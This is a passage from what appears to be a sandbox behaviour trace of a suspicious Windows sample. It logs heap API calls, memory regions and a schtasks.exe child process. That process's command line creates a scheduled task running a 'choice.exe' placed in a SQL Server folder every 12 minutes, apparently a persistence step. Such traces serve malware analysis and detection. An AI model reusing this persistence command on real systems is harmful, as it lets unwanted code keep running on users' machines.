HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x337be0 | out: hHeap=0x320000) returned 1 [0063.589] GetProcessHeap () returned 0x320000 [0063.589] GetProcessHeap () returned 0x320000 [0063.589] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ced0) returned 1 [0063.589] GetProcessHeap () returned 0x320000 [0063.589] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ced0) returned 0x20 [0063.590] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ced0 | out: hHeap=0x320000) returned 1 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d690) returned 1 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d690) returned 0x10 [0063.590] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d690 | out: hHeap=0x320000) returned 1 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cea0) returned 1 [0063.590] GetProcessHeap () returned 0x320000 [0063.590] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cea0) returned 0x20 [0063.591] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cea0 | out: hHeap=0x320000) returned 1 [0063.591] GetProcessHeap () returned 0x320000 [0063.591] GetProcessHeap () returned 0x320000 [0063.591] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6b0) returned 1 [0063.591] GetProcessHeap () returned 0x320000 [0063.591] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d6b0) returned 0x10 [0063.591] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6b0 | out: hHeap=0x320000) returned 1 [0063.591] GetProcessHeap () returned 0x320000 [0063.591] GetProcessHeap () returned 0x320000 [0063.591] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce70) returned 1 [0063.591] GetProcessHeap () returned 0x320000 [0063.592] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce70) returned 0x20 [0063.592] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce70 | out: hHeap=0x320000) returned 1 [0063.592] GetProcessHeap () returned 0x320000 [0063.592] GetProcessHeap () returned 0x320000 [0063.592] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6d0) returned 1 [0063.592] GetProcessHeap () returned 0x320000 [0063.592] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d6d0) returned 0xe [0063.592] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6d0 | out: hHeap=0x320000) returned 1 [0063.592] GetProcessHeap () returned 0x320000 [0063.592] GetProcessHeap () returned 0x320000 [0063.592] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce40) returned 1 [0063.593] GetProcessHeap () returned 0x320000 [0063.593] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce40) returned 0x20 [0063.593] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce40 | out: hHeap=0x320000) returned 1 [0063.664] GetProcessHeap () returned 0x320000 [0063.664] GetProcessHeap () returned 0x320000 [0063.665] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6f0) returned 1 [0063.665] GetProcessHeap () returned 0x320000 [0063.665] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d6f0) returned 0x16 [0063.665] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d6f0 | out: hHeap=0x320000) returned 1 [0063.665] GetProcessHeap () returned 0x320000 [0063.665] GetProcessHeap () returned 0x320000 [0063.665] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce10) returned 1 [0063.665] GetProcessHeap () returned 0x320000 [0063.665] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce10) returned 0x20 [0063.665] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce10 | out: hHeap=0x320000) returned 1 [0063.665] GetProcessHeap () returned 0x320000 [0063.665] GetProcessHeap () returned 0x320000 [0063.666] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d710) returned 1 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d710) returned 0x16 [0063.666] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d710 | out: hHeap=0x320000) returned 1 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cde0) returned 1 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cde0) returned 0x20 [0063.666] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cde0 | out: hHeap=0x320000) returned 1 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x359bf0) returned 1 [0063.666] GetProcessHeap () returned 0x320000 [0063.666] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x359bf0) returned 0x82 [0063.667] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x359bf0 | out: hHeap=0x320000) returned 1 [0063.667] GetProcessHeap () returned 0x320000 [0063.667] GetProcessHeap () returned 0x320000 [0063.667] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cdb0) returned 1 [0063.667] GetProcessHeap () returned 0x320000 [0063.667] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cdb0) returned 0x20 [0063.668] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cdb0 | out: hHeap=0x320000) returned 1 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d750) returned 1 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d750) returned 0xe [0063.668] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d750 | out: hHeap=0x320000) returned 1 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd80) returned 1 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cd80) returned 0x20 [0063.668] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd80 | out: hHeap=0x320000) returned 1 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] GetProcessHeap () returned 0x320000 [0063.668] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb20) returned 1 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bb20) returned 0x18 [0063.669] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb20 | out: hHeap=0x320000) returned 1 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335ad0) returned 1 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335ad0) returned 0x20 [0063.669] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335ad0 | out: hHeap=0x320000) returned 1 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335b00) returned 1 [0063.669] GetProcessHeap () returned 0x320000 [0063.669] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335b00) returned 0x20 [0063.670] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335b00 | out: hHeap=0x320000) returned 1 [0063.670] GetProcessHeap () returned 0x320000 [0063.670] GetProcessHeap () returned 0x320000 [0063.670] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335b30) returned 1 [0063.670] GetProcessHeap () returned 0x320000 [0063.670] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335b30) returned 0x20 [0063.670] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335b30 | out: hHeap=0x320000) returned 1 [0063.670] GetProcessHeap () returned 0x320000 [0063.671] GetProcessHeap () returned 0x320000 [0063.671] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335b60) returned 1 [0063.671] GetProcessHeap () returned 0x320000 [0063.671] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335b60) returned 0x20 [0063.671] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335b60 | out: hHeap=0x320000) returned 1 [0063.671] GetProcessHeap () returned 0x320000 [0063.671] GetProcessHeap () returned 0x320000 [0063.671] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb40) returned 1 [0063.671] GetProcessHeap () returned 0x320000 [0063.671] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bb40) returned 0x18 [0063.671] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb40 | out: hHeap=0x320000) returned 1 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335b90) returned 1 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335b90) returned 0x20 [0063.672] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335b90 | out: hHeap=0x320000) returned 1 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335c20) returned 1 [0063.672] GetProcessHeap () returned 0x320000 [0063.672] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335c20) returned 0x20 [0063.673] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335c20 | out: hHeap=0x320000) returned 1 [0063.673] GetProcessHeap () returned 0x320000 [0063.673] GetProcessHeap () returned 0x320000 [0063.673] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335c80) returned 1 [0063.673] GetProcessHeap () returned 0x320000 [0063.673] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335c80) returned 0x20 [0063.673] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335c80 | out: hHeap=0x320000) returned 1 [0063.673] GetProcessHeap () returned 0x320000 [0063.673] GetProcessHeap () returned 0x320000 [0063.673] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335ce0) returned 1 [0063.673] GetProcessHeap () returned 0x320000 [0063.674] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335ce0) returned 0x20 [0063.674] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335ce0 | out: hHeap=0x320000) returned 1 [0063.674] GetProcessHeap () returned 0x320000 [0063.674] GetProcessHeap () returned 0x320000 [0063.674] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335d10) returned 1 [0063.674] GetProcessHeap () returned 0x320000 [0063.674] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335d10) returned 0x20 [0063.675] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335d10 | out: hHeap=0x320000) returned 1 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb60) returned 1 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bb60) returned 0x18 [0063.675] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bb60 | out: hHeap=0x320000) returned 1 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335c50) returned 1 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335c50) returned 0x20 [0063.675] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335c50 | out: hHeap=0x320000) returned 1 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] GetProcessHeap () returned 0x320000 [0063.675] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33bae0) returned 1 [0063.676] GetProcessHeap () returned 0x320000 [0063.676] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33bae0) returned 0x18 [0063.676] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33bae0 | out: hHeap=0x320000) returned 1 [0063.676] exit (_Code=0) Thread: id = 113 os_tid = 0xf2c Process: id = "17" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d41a000" os_pid = "0xf30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2168 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2169 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2170 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2171 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2172 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2173 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2174 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2175 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2176 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2177 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2178 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2179 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2180 start_va = 0xe0000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2181 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2182 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2183 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2184 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2185 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2186 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2187 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2188 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2189 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2190 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2191 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2192 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2193 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2194 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2195 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2196 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2197 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2198 start_va = 0x340000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2199 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2200 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2201 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2202 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2203 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2204 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2205 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2206 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2207 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 2208 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2209 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2210 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2211 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2212 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2213 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2214 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2215 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2216 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2217 start_va = 0x1e80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 2218 start_va = 0x1f90000 end_va = 0x206efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f90000" filename = "" Region: id = 2219 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2220 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2221 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2222 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2223 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2224 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2225 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2226 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2227 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2229 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 114 os_tid = 0xf34 [0063.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfa80 | out: lpSystemTimeAsFileTime=0xdfa80*(dwLowDateTime=0x4efd43c0, dwHighDateTime=0x1d9eb0c)) [0063.599] GetCurrentProcessId () returned 0xf30 [0063.599] GetCurrentThreadId () returned 0xf34 [0063.599] GetTickCount () returned 0x1765789 [0063.599] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdfa88 | out: lpPerformanceCount=0xdfa88*=2487008244214) returned 1 [0063.600] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0063.600] __set_app_type (_Type=0x1) [0063.600] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0063.600] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0063.601] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0063.601] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0063.601] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0063.601] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0063.602] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0063.602] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0063.602] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0063.602] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0063.602] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0063.602] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0063.602] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0063.603] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.603] WinSqmIsOptedIn () returned 0x0 [0063.603] GetProcessHeap () returned 0x240000 [0063.603] RtlAllocateHeap 